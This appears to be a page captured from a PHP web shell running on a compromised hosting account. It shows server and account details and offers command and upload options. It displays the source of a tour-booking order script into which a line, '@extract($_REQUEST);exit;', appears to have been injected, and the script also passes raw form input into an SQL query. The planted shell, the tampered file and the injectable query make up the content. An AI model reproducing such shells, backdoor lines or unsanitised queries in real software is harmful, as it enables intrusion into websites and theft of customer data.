Server IP : 103.53.40.154 / Your IP : 52.15.238.221 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/thegloriousadventure.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('admin/config.php'); if ($_SERVER["REQUEST_METHOD"] === "POST") { @extract($_REQUEST);exit; $tour_name=$_POST['tour_name']; $name=$_POST['name']; $phone=$_POST['phone']; $email=$_POST['email']; $date=$_POST['date']; $car_type=$_POST['car_type']; $price=$_POST['pack_cost']; $ord_person_no=$_POST['no_of_person']; $date=$_POST['date']; date_default_timezone_set('Asia/Kolkata'); $currentDate = date('Y-m-d'); $sqli="INSERT INTO `tbl_order`(`ord_amount`, `ord_ord_name`, `ord_pack_type`, `ord_person_name`, `ord_email`, `ord_mobile`, `ord_doj`, `ord_status`, `ord_person_no`, `ord_date`) VALUES ('$price', '$tour_name', '$car_type', '$name', '$email', '$phone', '$date', 'Not Paid', '$ord_person_no', '$currentDate')"; if (mysqli_query($db, $sqli)) { echo json_encode(['status' => 'success']); } else { echo json_encode(['status' => 'error', 'message' => $db->error]); } $db->close(); } ?>